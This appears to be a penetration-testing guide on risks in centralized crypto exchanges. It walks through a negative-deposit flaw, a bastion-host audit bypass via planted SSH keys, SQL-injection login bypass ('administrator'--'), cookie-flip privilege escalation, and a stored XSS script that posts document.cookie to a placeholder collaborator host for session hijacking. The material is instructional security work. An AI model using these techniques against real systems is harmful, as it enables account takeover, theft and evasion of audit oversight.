# Risks in Cefi

## Introduction:

CeFi penetration testing refers to a comprehensive security assessment of the systems, networks, and applications of centralized financial institutions by simulating real hacker attacks. Through such testing, potential vulnerabilities can be discovered and fixed, and network security defenses can be strengthened to ensure that the assets and data of financial institutions and users are adequately protected. We're going to outline some of the penetration steps involved with CeFi.

## Order book value payment vulnerability:

In a certain exchange's deposit application, the value range of recharge data is not validated, leading to a negative value chargeback vulnerability in transactions.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FzTTTZCyilDM2IytyP4AU%2Fzhifu1.png?alt=media&#x26;token=55d94389-e7d4-4c76-b10d-181752ce1465" alt=""><figcaption></figcaption></figure>

Step 1: Inputting a negative value.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2Fd7BFS1Qh23v2hLbIFUe2%2Fzhifu2.png?alt=media&#x26;token=95ac3d25-c184-45bd-bbe0-31b9cabd4730" alt=""><figcaption></figcaption></figure>

Step 2: After clicking on the confirmation, the two negative values can be reversed and turned into positive values.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FxsfIvZwwNKehIBhW3Uj8%2Fzhifu3.png?alt=media&#x26;token=e956bf9d-ea78-45ab-ba62-03e8da521b63" alt=""><figcaption></figcaption></figure>

The recharge interface lacks proper validation and filtering of numerical symbols, which poses a certain security risk.

## Bastion host bypass：

Step 1: First, access Server\_A 192.168.31.18 through the bastion host. Since the root password is managed by the bastion host, the root password for Server\_B 192.168.31.232 is unknown.&#x20;

Employees can establish passwordless login by using the following command: ssh-keygen -b 2048.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FNmwrnF0nvVqpITXgXvTq%2Fbaolei1.png?alt=media&#x26;token=03af923f-f325-489e-a6da-c373c1e0a9d9" alt=""><figcaption></figcaption></figure>

Step 2: Access Server\_B 192.168.31.232 once again through the bastion host.&#x20;

Import the generated public key from the previous step into the "/root/.ssh/authorized\_keys" file on 192.168.31.232.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FE8w2H5eq1fQxXrnYxWSR%2Fbaolei2.png?alt=media&#x26;token=ba6a3548-0e42-4a20-b4dd-5b8bf154497c" alt=""><figcaption></figcaption></figure>

Step 3: By following the above steps, accessing Server\_B can be done by first accessing Server\_A through the bastion host, and then directly SSHing from Server\_A to Server\_B.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2Ftw60fFUPUVWInbPfpk3g%2Fbaolei3.png?alt=media&#x26;token=6a4bf540-8cce-4deb-9e63-286da8bb11e4" alt=""><figcaption></figcaption></figure>

While operations on Server\_A can be audited through the bastion host (through session recording), let's assume that Server\_A is not managed by the bastion host, and only Server\_B is managed. In this case, bypassing the bastion host would result in all administrative operations on Server\_B not being audited or recorded.

## Arbitrary user login：

Login bypass is one of the impacts of SQL injection, where an attacker can log in to a vulnerable web application without valid credentials. Attackers exploit SQL injection vulnerabilities to bypass the login functionality and gain access to administrator accounts without a valid password.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FE4d6Nc5NOZfFiYWPhZs4%2Fdenglu1.png?alt=media&#x26;token=289a870b-4478-449a-83dc-6482cc00bedf" alt=""><figcaption></figcaption></figure>

Step 1: Enter the account name as "administrator" and set an arbitrary password. At this point, start capturing network traffic (packet capture).

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2F75PYtrt44DYDPaGyqCVU%2Fdenglu2.png?alt=media&#x26;token=cc181e72-3b44-41fa-b714-8f487ea03df2" alt=""><figcaption></figcaption></figure>

Step 2: After sending the packet, the login page displays a login failure message.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FrX12BoZm58A9lNclYo5z%2Fdenglu3.png?alt=media&#x26;token=4fecf158-72c7-4f6e-ad04-66f025ccd73a" alt=""><figcaption></figcaption></figure>

Step 3: Modify the username parameter to "administrator'--".

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FHRckbjiWYhx2AcUl9uq1%2Fdenglu4.png?alt=media&#x26;token=59e8f155-e21a-4122-9584-3eff84e2fe45" alt=""><figcaption></figcaption></figure>

Successfully logged into the system.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FTpmhTZ7pRnYw4niGaHYT%2Fdenglu5.png?alt=media&#x26;token=1ed4a550-0b32-49a0-bc76-26f2690cc96c" alt=""><figcaption></figcaption></figure>

Regardless of whether 'administrator' is a valid username, the response always returns true, and the '--' comments out the rest of the statement. In the mentioned query, since the condition "AND password = 'password'" is commented out, and the username is "administrator", it will log in to the administrator account. If one can determine a user's account, arbitrary user login can be performed.

## Unauthorized access：

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FEB8sUkHnDaSZ16Kr43zP%2Fyuequan1.png?alt=media&#x26;token=3ee6829c-c554-4595-b0ae-33ea2d630c39" alt=""><figcaption></figcaption></figure>

Step 1: In Burp Proxy, open Intercept and enable response interception.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2F0HY6i1OxOSSqhFkSW2mX%2Fyq2.png?alt=media&#x26;token=5c2421e0-9fd8-4489-8f7e-5f49e4932c2c" alt=""><figcaption></figcaption></figure>

Step 2: Modify the cookie in the response settings from "Admin=false" to "Admin=true".

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FgWKrrbwJuENj73LiLeGy%2Fyq3.png?alt=media&#x26;token=0f5aca93-e7d2-466f-b303-28c1bddee991" alt=""><figcaption></figcaption></figure>

At this point, the elevation of privileges from a regular user to an administrator level has occurred.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FcUHlgnmjQ4kNpEoK56v5%2Fyq4.png?alt=media&#x26;token=ada7b33d-653f-4757-a1be-30de4fb9ea55" alt=""><figcaption></figcaption></figure>

You can now perform administrative actions in the management panel.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FU2EnL2d8wtkY75WSI9ik%2Fyq5.png?alt=media&#x26;token=0e8790cc-7e12-49c8-82f9-c61bbca7f7d1" alt=""><figcaption></figcaption></figure>

## Cookie reuse：

Currently, there is an XSS vulnerability on the comment page, which allows for the theft of cookies when a victim user views that comment.&#x20;

Step 1: Inject XSS attack code into the comment section.

\<script>

fetch('<https://BURP-COLLABORATOR-SUBDOMAIN>', {

method: 'POST',

mode: 'no-cors',

body:document.cookie

});

\</script>

Step 2: Fill in the relevant email information and submit.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FxlHOAexpLLJMeCBYX35w%2Fcookie1.png?alt=media&#x26;token=7b252812-823e-4d0c-8499-e76fe9713405" alt=""><figcaption></figcaption></figure>

Step 3: Use Burp Collaborator to listen for the victim's cookie information.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FzGNwBDGq2dgRkHnvp2D6%2Fcookie2.png?alt=media&#x26;token=24397224-0131-429f-ba10-871dc3f15c42" alt=""><figcaption></figcaption></figure>

At this point, you have obtained the value of the victim's cookie in the POST request packet.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FzhJ5kHLIAxlTDR1krBvp%2Fcookie3.png?alt=media&#x26;token=99add6ef-b9c7-4c61-abc5-5844c11c02d3" alt=""><figcaption></figcaption></figure>

Step 4: Replace the captured victim's cookie with the obtained value.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FYtls3uBD1a1OQdyJlRDz%2Fcookie4.png?alt=media&#x26;token=26b36c0b-0662-44de-8e73-8926dc81569b" alt=""><figcaption></figcaption></figure>

Successful login to the victim's account.

<figure><img src="https://1958959434-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFQPoyXrMUD1C4DzLY5ER%2Fuploads%2FwDVJ9IZ20IKmBhHVkuL1%2Fcookie5.png?alt=media&#x26;token=cf1b1128-0ea7-424c-9cc7-349452c6c372" alt=""><figcaption></figcaption></figure>
